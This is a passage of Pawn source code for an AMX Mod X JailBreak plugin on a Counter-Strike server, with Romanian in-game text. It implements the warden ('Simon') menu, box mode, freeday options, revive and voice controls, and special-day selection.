        static icon[5]
        get_msg_arg_string(2, icon, charsmax(icon))
        if(icon[0] == 'b' && icon[2] == 'y' && icon[3] == 'z')
        {
                set_pdata_int(id, 235, get_pdata_int(id, 235) & ~(1<<0))
                return PLUGIN_HANDLED
        }

        return PLUGIN_CONTINUE
}

public msg_motd(msgid, dest, id)
{
        if(get_pcvar_num(gp_Motd))
                return PLUGIN_HANDLED

        return PLUGIN_CONTINUE
}

public msg_clcorpse(msgid, dest, id)
{
        return PLUGIN_HANDLED
}

public current_weapon(player)
{
        if(!is_user_alive(player))
                return PLUGIN_CONTINUE

        if(g_GameMode >= 1 || g_PlayerLast)
        {
                if(is_user_alive(player) && is_user_connected(player))
                        clear_bit(g_PlayerCrowbar, player)
                else if(get_bit(g_PlayerCrowbar, player))
                        clear_bit(g_PlayerCrowbar, player)
                else if(set_bit(g_PlayerCrowbar, player))
                        clear_bit(g_PlayerCrowbar, player)

                if(get_user_team(player) == 1)
                {
                        set_pev(player, pev_viewmodel2, _Pumni[1])
                        set_pev(player, pev_weaponmodel2, _Pumni[0])
                }
                else if(get_user_team(player) == 2)
                {
                        set_pev(player, pev_viewmodel2, v_Bulan)
                        set_pev(player, pev_weaponmodel2, p_Bulan)
                }
        }
        else if(get_bit(g_PlayerCrowbar, player))
        {
                if(is_user_alive(player) && is_user_connected(player))
                {
                        set_pev(player, pev_viewmodel2, _Ranga[1])
                        set_pev(player, pev_weaponmodel2, _Ranga[0])
                }
        }
        else if(is_user_alive(player) && is_user_connected(player))
        {
                if(get_user_team(player) == 1)
                {
                        set_pev(player, pev_viewmodel2, _Pumni[1])
                        set_pev(player, pev_weaponmodel2, _Pumni[0])
                }
                else if(get_user_team(player) == 2)
                {
                        set_pev(player, pev_viewmodel2, v_Bulan)
                        set_pev(player, pev_weaponmodel2, p_Bulan)
                }
        }

        return PLUGIN_CONTINUE
}

public player_status(id)
{
        static type, player, CsTeams:team, option[64]

        type = read_data(1)
        player = read_data(2)

        switch(type)
        {
                case(1):
                {
                        //ClearSyncHud(id, g_HudSync[1][_hudsync])
                }
                case(2):
                {
                        team = cs_get_user_team(player)
                        if((team != CS_TEAM_T) && (team != CS_TEAM_CT))
                                return PLUGIN_HANDLED

                        new target, body;
                        get_user_aiming(id, target, body, 9999);

                        new sName[32];
                        get_user_name(target, sName, sizeof(sName) -1);

                        if(get_user_team (target) == 1)
                        {
                                formatex(option, charsmax(option), "Prizonierul: %s^nViata: %d^nTigari: %d^n", sName, get_user_health(target), jb_get_tigari(target))
                                player_hudmessage(id, 4, 2.0, {255, 20, 20}, option)
                        }
                        else if (get_user_team(target) == 2)
                        {
                                formatex(option, charsmax(option), "Gardianul: %s^nViata: %d^nMoney: %d^n", sName, get_user_health(target), cs_get_user_money(target))
                                player_hudmessage(id, 4, 2.0, {20, 255, 20}, option)
                        }
                }
        }
       
        return PLUGIN_HANDLED
}

public impulse_100(id)
{
        if(cs_get_user_team(id) == CS_TEAM_T)
                return PLUGIN_HANDLED

        return PLUGIN_CONTINUE
}

/*======================================================
              SIMONMENU
======================================================*/
public cmd_simonmenu(id)
{
        if(g_Simon == id)
        {
                if(is_user_alive(id) && is_user_connected(id))
                {
                        new simon_menu = menu_create("\rSimonMenu \yJb.Play-Arena.Ro", "simon_choice");

                        menu_additem(simon_menu, "\rDeschide \yCelule", "1", 0);
                        menu_additem(simon_menu, "FreeDay Menu", "2", 0);
                        menu_additem(simon_menu, "\rDing", "3", 0);
                        menu_additem(simon_menu, "Box Menu", "4", 0);
                        menu_additem(simon_menu, "\rZile \ySpeciale", "5", 0);
                        menu_additem(simon_menu, "Demisioneaza din gradu de Simon !", "6", 0);

                        if(g_GameMode == 13)
                                menu_additem(simon_menu, "\rRevive Menu", "7", 0)
                        else
                                menu_additem(simon_menu, "Revive Menu \r[GodMode Only]", "7", ADMIN_ADMIN)

                        if(g_GameMode == 13)
                                menu_additem(simon_menu, "\rVoice Menu", "8", 0)
                        else
                                menu_additem(simon_menu, "Voice Menu \r[GodMode Only]", "7", ADMIN_ADMIN)

                        menu_additem(simon_menu, "\yFootBall Menu", "9", 0)
                        menu_additem(simon_menu, "Scoate Wanted", "10", 0)
                        menu_additem(simon_menu, "Verifica Prizonieri de Arme", "11", 0)

                        menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
                        menu_display(id, simon_menu, 0);
                }
        }
        else
                client_print(id, print_chat, "*** Nu esti SIMON deci nu poti accesa SIMON MENU ***");

        return PLUGIN_HANDLED;
}

public simon_choice(id, simon_menu, item)
{
        if( item == MENU_EXIT || !is_user_alive(id) )
        {
                menu_destroy(simon_menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64], name[32];
        new access, callback;

        get_user_name(g_Simon, name, charsmax(name))
        menu_item_getinfo(simon_menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1:
                {
                        jail_open()

                        new name[32]
                        get_user_name(g_Simon, name, charsmax(name))
                        set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                        show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_SIMON", name)

                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        cmd_simonmenu(id)
                }
                case 2: cmd_freeday(id)
                case 3:
                {
                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        cmd_simonmenu(id)
                }
                case 4: cmd_boxmenu(id)
                case 5: cmd_daysmenu(id)
                case 6: cmd_simonreset(id)
                case 7: cmd_simonrevive(id)
                case 8: cmd_voicemenu(id)
                case 9:
                {
                        open_football_menu(id)
                        make_teams()
                }
                case 10: RemoveWanted(id)
                case 11: CheckWeapon(id)
        }

        menu_destroy(simon_menu);
        return PLUGIN_HANDLED;
}

public cmd_simonreset(id)
{
        if((g_Simon == id) || get_user_flags(id) & read_flags ("a"))
                menu_players(id, CS_TEAM_CT, id, 1, "cmd_simon_ct", "\rCine vrei sa fie SIMON in loc ?")

        return PLUGIN_CONTINUE
}

public cmd_simon_ct(id, menu, item)
{
        if(item == MENU_EXIT || (g_Simon != id))
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32],src[32], data[5], player, access, callback
        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)

        if (g_Simon == player)
                return PLUGIN_CONTINUE

        g_Simon = 0
        cmd_simon(player)
        get_user_name(player, dst, charsmax(dst))
        get_user_name(id, src, charsmax(src))
        set_hudmessage(0, 104, 139, -1.0, -0.35, 0, 6.0, 10.0)
        show_hudmessage(0, "%s a predat grad-ul de SIMON lui %s",  src, dst)

        if(get_user_flags(id) & read_flags(VIP_ACCES))
                set_user_info(id, "model", "Play_Arena_VipCT")
        else
        {
                set_user_info(id, "model", "jb_pa_player")
                entity_set_int(id, EV_INT_body, 3)
        }

        return PLUGIN_HANDLED
}

public cmd_simonrevive(id)
{
        if(g_Simon == id)
                menu_revive(id, CS_TEAM_T, "revive", "Revive Menu")

        return PLUGIN_CONTINUE
}

public revive(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback, player

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)
        new name[32], name2[32]
        get_user_name(id, name, 31)
        get_user_name(player, name2, 31)

        if(player > 0 && is_user_connected(player) && !is_user_alive(player))
        {
                ExecuteHamB(Ham_CS_RoundRespawn, player)
                chatcolor(0, "!g[SimonMenu] !ySimon !g%s !yi-a dat !grevive !tPrizonierului !g%s", name, name2)
        }

        cmd_simonrevive(id)
        return PLUGIN_HANDLED
}

stock menu_revive(id, CsTeams:team, callback[], title[], any:...)
{
        static i, name[32], num[5], menu, menuname[32]
        formatex(menuname, charsmax(menuname), title)
        menu = menu_create(menuname, callback)

        for(i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || is_user_alive(i))
                        continue

                if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
                {
                        get_user_name(i, name, charsmax(name))
                        num_to_str(i, num, charsmax(num))
                        menu_additem(menu, name, num, 0)
                }
        }

        menu_display(id, menu)
}

public CheckWeapon(id)
{
        if(g_Simon != id)
                return

        new vic, bd
        get_user_aiming(id, vic, bd, CHEK_WEAPON_DIST)

        if(is_user_alive(vic) && get_user_team(vic) == 1)
        {
                new iBitWeapons = pev(vic, pev_weapons) + (1<<31)

                if(iBitWeapons &= ~(1<<CSW_HEGRENADE | 1<<CSW_SMOKEGRENADE | 1<<CSW_FLASHBANG | 1<<CSW_KNIFE))
                        chatcolor(id, "%L", id, "HAVE_WEAPON", SM_PREFIX)
                else
                        chatcolor(id, "%L", id, "NO_HAVE_WEAPON", SM_PREFIX)

                ChekWeaponAmount[id]--
        }
}

public RemoveWanted(id)
{
        if(g_PlayerWanted <= 0)
        {
                chatcolor(id, "!g[SimonMenu] !yNu !geste !ynici un !gPrizonier !tCautat !y.")
                return PLUGIN_HANDLED
        }

        new i_Menu = menu_create("\rCui vrei sa scoti Wanted-ul?", "remove_wanted_handler")
        new s_Players[32], i_Num, i_Player
        new s_Name[32], s_Player[10]

        get_players(s_Players, i_Num)

        for (new i; i < i_Num; i++)
        {
                i_Player = s_Players[i]

                if(is_user_alive(i_Player) && id != i_Player && get_user_team(i_Player) == 1 && get_bit(g_PlayerWanted, i_Player))
                {
                        get_user_name(i_Player, s_Name, charsmax(s_Name))
                        num_to_str(i_Player, s_Player, charsmax(s_Player))
                       
                        menu_additem(i_Menu, s_Name, s_Player, 0)
                }
        }

        menu_display(id, i_Menu, 0)
        return PLUGIN_HANDLED
}

public remove_wanted_handler(id, i_Menu, item)
{
        if(item == MENU_EXIT || g_Simon != id)
        {
                menu_destroy(i_Menu)
                return PLUGIN_HANDLED
        }

        new s_Data[6], s_Name[64], i_Access, i_Callback
        menu_item_getinfo(i_Menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

        new i_Player = str_to_num(s_Data)

        new name[32], name_player[32]
        get_user_name(id, name, charsmax(name))
        get_user_name(i_Player, name_player, charsmax(name_player))
       
        if(g_Simon == id && id != i_Player && is_user_alive(i_Player) && get_user_team(i_Player) == 1 && get_bit(g_PlayerWanted, i_Player))
        {
                set_hudmessage(20, 255, 255, -1.0, 0.74, 0, 6.0, 8.0)
                show_hudmessage(0, "%L", id, "CLEAR_WANTED_LIST", name, name_player)

                clear_bit(g_PlayerWanted, i_Player)

                set_user_info(i_Player, "model", "jb_pa_player")
                entity_set_int(i_Player, EV_INT_body, 2)
                entity_set_int(i_Player, EV_INT_skin, random_num(0, 2))
                set_user_rendering(i_Player, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
        }

        menu_destroy(i_Menu)
        return PLUGIN_HANDLED
}

public cmd_voicemenu(id)
{
        new Buffer[512]
        formatex(Buffer, charsmax(Buffer), "%L", id, "GIVE_OR_TAKE_VOICE_MENU")
        new i_Menu = menu_create(Buffer, "cmd_voicemenu_handler")

        new s_Players[32], i_Num, i_Player
        new s_Name[32], s_Player[10]

        get_players(s_Players, i_Num)

        for (new i; i < i_Num; i++)
        {
                i_Player = s_Players[i]

                if(is_user_alive(i_Player) && id != i_Player && get_user_team(i_Player) == 1)
                {
                        get_user_name(i_Player, s_Name, charsmax(s_Name))
                        num_to_str(i_Player, s_Player, charsmax(s_Player))

                        if(get_bit(g_PlayerVoice, i_Player))
                                formatex(Buffer, charsmax(Buffer), "%L", id, "GIVE_VOICE", s_Name)
                        else
                                formatex(Buffer, charsmax(Buffer), "%L", id, "PICK_VOICE", s_Name)
                        menu_additem(i_Menu, Buffer, s_Player, 0)
                }
        }

        menu_display(id, i_Menu, 0)
        return PLUGIN_HANDLED
}

public cmd_voicemenu_handler(id, i_Menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(i_Menu)
                return PLUGIN_HANDLED
        }

        new s_Data[6], s_Name[64], i_Access, i_Callback
        menu_item_getinfo(i_Menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

        new i_Player = str_to_num(s_Data)

        new name[32], name_player[32]
        get_user_name(id, name, charsmax(name))
        get_user_name(i_Player, name_player, charsmax(name_player))

        if(g_Simon == id && id != i_Player && get_user_team(i_Player) == 1)
        {
                if(get_bit(g_PlayerVoice, i_Player))
                {
                        chatcolor(0, "!g[VoiceMenu] !ySimon !g%s !yi-a luat !gVocea !tlui !g%s .", name, name_player)
                        clear_bit(g_PlayerVoice, i_Player)
                        cmd_voicemenu(id)
                }
                else
                {
                        chatcolor(0, "!g[VoiceMenu] !ySimon !g%s !yi-a dat !gVoce !tlui !g%s .", name, name_player)
                        set_bit(g_PlayerVoice, i_Player)
                        cmd_voicemenu(id)
                }
        }

        menu_destroy(i_Menu)
        return PLUGIN_HANDLED
}

public make_teams()
{
        static i
        for(i = 0; i < mxplr; i++)
        {
                if(!is_user_alive(i) || get_user_team(i) != 1)
                        continue

                if(team)
                {
                        set_user_info(i, "model", "JB_FootBall_TeamA")
                        entity_set_int(i, EV_INT_body, random_num(0, 1))
                }
                else
                {
                        set_user_info(i, "model", "JB_FootBall_TeamB")
                        entity_set_int(i, EV_INT_body, random_num(0, 1))
                }

                team = !team
        }
}
/*======================================================
              END SIMONMENU ---> BoxMenu
======================================================*/
public cmd_boxmenu(id)
{
        if((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT))
        {
                if(g_PlayerLast)
                {
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gUltimul !tPrizonier !yin !gViata!y.")
                        return PLUGIN_HANDLED
                }

                /*if(g_GameMode == 1 || g_GameMode == 17 || g_GameMode == 15)
                {
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gZi Speciala!y.")
                        return PLUGIN_HANDLED
                }*/

                if(g_GameMode == 0 || g_GameMode == 13)
                {
                        new szText[ 555 char ];

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_TITLE");
                        new menu = menu_create( szText, "box_handler" );

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_M1" );
                        menu_additem( menu, szText, "1", 0 );

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_M2" );
                        menu_additem( menu, szText, "2", 0 );

                        menu_display( id, menu, 0)
                }
                else
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gZi Speciala!y.")
        }
        else
                chatcolor(id, "%L",0,"BOX_ACCES")

        return PLUGIN_HANDLED
}

public box_handler( id, menu, item )
{
        if( item == MENU_EXIT )
        {
                menu_destroy( menu )
                return PLUGIN_HANDLED
        }

        new data[6], iName[64]
        new access, callback

        menu_item_getinfo( menu, item, access, data,5, iName, 63, callback )
        new key = str_to_num( data )
        switch( key )
        {
                case 1:
                {
                        cmd_box(id)
                        cmd_boxmenu(id)
                }
                case 2:
                {
                        cmd_boxoff(id)
                        cmd_boxmenu(id)
                }
        }

        menu_destroy( menu )
        return PLUGIN_HANDLED
}

public cmd_box(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti activa !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        static i
        if((id < 0) || (is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags("f"))
        {
                if(g_GameMode == 13 && g_TeamAlive[CS_TEAM_T] > 1)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                        set_user_health(i, 100)

                        client_cmd(0, "mp3 play ^"%s^"", game_box)
                        set_cvar_num("mp_tkpunish", 0)
                        set_cvar_num("mp_friendlyfire", 1)
                        jb_strip_user_cold_weapons(i)
                        g_BoxStarted = 1

                        if(get_user_team(id) == 2)
                        {
                                new name[32]
                                get_user_name(id, name, 63)
                                chatcolor(0, "%L",0,"BOX_START", name)
                                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost pornit de: %s", name)
                        }
                }
                else if(g_GameMode == 0 && g_TeamAlive[CS_TEAM_T] <= get_pcvar_num(gp_BoxMax) && g_TeamAlive[CS_TEAM_T] > 1)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                {
                                        set_user_health(i, 100)
                                        give_item(i, "weapon_knife")
                                        set_cvar_string("jbe_shop", "0");
                                }

                        client_cmd(0, "mp3 play ^"%s^"", game_box)
                        set_cvar_num("mp_tkpunish", 0)
                        set_cvar_num("mp_friendlyfire", 1)
                        g_BoxStarted = 1

                        if(get_user_team(id) == 2)
                        {
                                new name[32]
                                get_user_name(id, name, 63)
                                chatcolor(0, "%L",0,"BOX_START", name)
                                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost pornit de: %s", name)
                        }
                }
                else
                        player_hudmessage(id, 1, 3.0, _, "%L", LANG_SERVER, "JBE_GUARD_CANTBOX")
        }

        return PLUGIN_HANDLED
}

public cmd_boxoff(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti dezactiva !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        static i
        if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT || get_user_flags(id) & read_flags("f"))
        {
                for(i = 1; i <= g_MaxClients; i++)
                        if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                        {
                                set_user_health(i, 100)
                                set_cvar_string("jbe_shop", "1");
                        }

                client_cmd(0, "mp3 play ^"%s^"", game_boxoff)
                set_cvar_num("mp_tkpunish", 0)
                set_cvar_num("mp_friendlyfire", 0)
                g_BoxStarted = 0
                new name[32]
                get_user_name(id, name, 63)
                chatcolor(0, "%L",0,"BOX_STOP", name)
                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost oprit de: %s", name)
        }

        return PLUGIN_HANDLED
}
/*======================================================
              END BOXMENU --> HELPMENU
======================================================*/
public cmd_helpmenu(id)
{
        if(!is_user_alive(id))
                return PLUGIN_HANDLED

        static menu
        menu = menu_create("\yHelpMenu \wJb.Play-Arena.Ro", "helpmenu_handler")

        menu_additem(menu, "\rInformatii \wMod", "1")
        menu_additem(menu, "\rInformatii \wServer", "2")
        menu_additem(menu, "\rMeniu \wWho\y/\wDonatii", "3")

        menu_display(id, menu)
        return PLUGIN_HANDLED
}

public helpmenu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1: info_mod(id)
                case 2: informatii(id)
                case 3: client_cmd(id,"say /who")
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public info_mod(id)
{
        show_motd(id,"/addons/amxmodx/configs/PedoBearHome/info_mod.htm")
        return 0
}

public informatii(id)
{
        show_motd(id,"/addons/amxmodx/configs/PedoBearHome/info_server.htm")
        return 0
}
/*======================================================
              END HELPEMENU ---> FreedayMenu
======================================================*/
public cmd_freeday(id)
{
        static menu, menuname[32], option[64]

        if(!is_freeday() && ((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c")))
        {
                formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_MENU_FREEDAY")
                menu = menu_create(menuname, "freeday_choice")

                formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_PLAYER")
                menu_additem(menu, option, "1", 0)

                formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_ALL")
                menu_additem(menu, option, "2", 0)

                menu_display(id, menu)
        }

        return PLUGIN_HANDLED
}

public freeday_choice(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        menu_destroy(menu)
        get_user_name(id, dst, charsmax(dst))

        switch(data[0])
        {
                case('1'): cmd_freeday_player(id)
                case('2'):
                {
                        if((cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c"))
                                cmd_ask(id)
                }
        }

        return PLUGIN_HANDLED
}

public cmd_freeday_player(id)
{
        if((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c"))
                menu_players(id, CS_TEAM_T, id, 1, "freeday_select", "%L", LANG_SERVER, "JBE_MENU_FREEDAY")

        return PLUGIN_CONTINUE
}

public freeday_select(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], player, access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)
        freeday_set(id, player)

        return PLUGIN_HANDLED
}

public cmd_ask(id)
{
        static menu, menuname[32], option[64]

        if(!is_freeday() && ((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)))
        {
                formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_FD_ANSWER_TITLE")
                menu = menu_create(menuname, "freeday_ask")

                formatex(option, charsmax(option), "\y%L", LANG_SERVER, "JBE_FD_ANSWER_YES")
                menu_additem(menu, option, "1", 0)

                formatex(option, charsmax(option), "\r%L", LANG_SERVER, "JBE_FD_ANSWER_NO")
                menu_additem(menu, option, "2", 0)

                menu_display(id, menu)
        }

        return PLUGIN_HANDLED
}

public freeday_ask(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        menu_destroy(menu)
        get_user_name(id, dst, charsmax(dst))
        switch(data[0])
        {
                case('1'):
                {
                        if(g_isDay)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                                return PLUGIN_HANDLED
                        }

                        if(g_PlayerLast)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti activa !tZiua Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                                return PLUGIN_HANDLED
                        }

                        if((cs_get_user_team(id) == CS_TEAM_CT))
                        {
                                g_Simon = 0
                                get_user_name(id, dst, charsmax(dst))
                                chatcolor(0, "!g[JailBreak] !yGardianul !t[!g%s!t] !ya dat la toti !tPrizonieri !gFreeDay!y.", dst)
                                check_freeday(TASK_FREEDAY)
                        }
                }
                case('2'):
                {
                        if(g_isDay)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                                return PLUGIN_HANDLED
                        }

                        if(g_PlayerLast)
                        {
                                chatcolor(id, "!g[JailBreak]  !yNu poti da !tZi Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                                return PLUGIN_HANDLED
                        }

                        if((cs_get_user_team(id) == CS_TEAM_CT))
                                cmd_freeday(id)
                }
        }

        return PLUGIN_HANDLED
}/*======================================================
              End FreedayMenu ---> DaysMenu
======================================================*/
public cmd_daysmenu(id)
{
        /*if(g_JailDay == 0 || g_JailDay == 5 || g_JailDay == 6 || g_JailDay == 7)
                return PLUGIN_HANDLED*/

        if(g_PlayerLast)
        {
                chatcolor(id, "!g[BoxMenu]!y Nu poti sa accesa !gDaysMenu cand !yeste !gUltimul !tPrizonier !yin !gViata!y.")
                return PLUGIN_HANDLED
        }

        if(g_Simon == id)
        {
                if(is_user_alive(id))
                        if(g_GameMode <= 0)
                                JBDays(id);
                        else
                                chatcolor(id, "!t[!gManagerDays!t] !yO !gZi !tSpeciala !ya fost aleasa !gdeja!y.")
        }
        else
                chatcolor(id, "!t[!gManagerDays!t] !gTu !tnu esti !gSimon!y.")

        return PLUGIN_HANDLED
}

public HnsCount()
{
        set_hudmessage(0 , 255, 0, -1.0, 0.28, 2, 1.1, 1.1, 0.01, 0.01);
        show_hudmessage(0, "Prizonierii au: %d secunede sa se ascunda !!", g_HNSCount--);

        if(g_HNSCount == 0)
        {
                set_hudmessage(random_num(1,255), random_num(1,255), random_num(1,255), -1.0, -1.0, 0, 6.0, 12.0)
                show_hudmessage(0, "Timp-ul s-a scurs, iar Gardienii vor veni sa va caute !!")
        }
}

public JBDays(id)
{
        new a = get_timeleft()
        new menu = menu_create("\rDaysMenu \yJb.Play-Arena.Ro", "days_menu_handler");

        menu_additem(menu, "Zombie Day", "1", 0);
        menu_additem(menu, "Spartan Day", "2", 0);
        menu_additem(menu, "Gravity Day", "3", 0);
        menu_additem(menu, "Grenade Day", "4", 0);
        menu_additem(menu, "NightCrawler Day", "5", 0);
        menu_additem(menu, "Box Day", "6", 0);
        menu_additem(menu, "Gang Day", "7", 0);
        menu_additem(menu, "War Day", "8", 0);
        menu_additem(menu, "Hns Day", "9", 0);
        menu_additem(menu, "Ghost Day", "10", 0);

        if( a < 301 )
                menu_additem(menu, "GodMode Day", "11", 0);
        else
                menu_additem(menu, "\dGodMode Day\r [Numai in ultimele 5 min]", "11", 0);

        menu_additem(menu, "Magic Day", "12", 0);
        menu_additem(menu, "Tag Day", "13", 0);
        menu_additem(menu, "One Hp Day", "14", 0);
        menu_additem(menu, "DodgeBall Day", "15", 0);
        menu_additem(menu, "HeadShot Day", "16", 0);
        menu_additem(menu, "PaintBall Day \r[DEZACTIVAT]", "17", ADMIN_ADMIN);

        menu_setprop(menu, MPROP_NEXTNAME, "Inainte")
        menu_setprop(menu, MPROP_BACKNAME, "Inapoi")
        menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public days_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT || !is_user_alive(id) )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1: ZombieDayMenu(id)
                case 2:
                {
                        SpartanDay()
                        set_cvar_string("jb_dayss", "Spartan Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Spartan Day !t]", name);
                }
                case 3:
                {
                        GravityDay()
                        set_cvar_string("jb_dayss", "Gravity Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Gravity Day !t]", name);
                }
                case 4:
                {
                        GrenadeDay()
                        set_cvar_string("jb_dayss", "Grenade Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Grenade Day !t]", name);
                }
                case 5:
                {
                        NightDay()
                        set_cvar_string("jb_dayss", "NightCrawler Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_camera", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g NightCrawler Day !t]", name);
                }
                case 6:
                {
                        BoxDay()
                        set_cvar_string("jb_dayss", "Box Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Box Day !t]", name);
                }
                case 7:
                {
                        GangDay()
                        set_cvar_string("jb_dayss", "Gang Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Gang Day !t]", name);
                }
                case 8:
                {
                        WarDay()
                        set_cvar_string("jb_dayss", "War Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g War Day !t]", name);
                }
                case 9: HnsDayMenu(id)
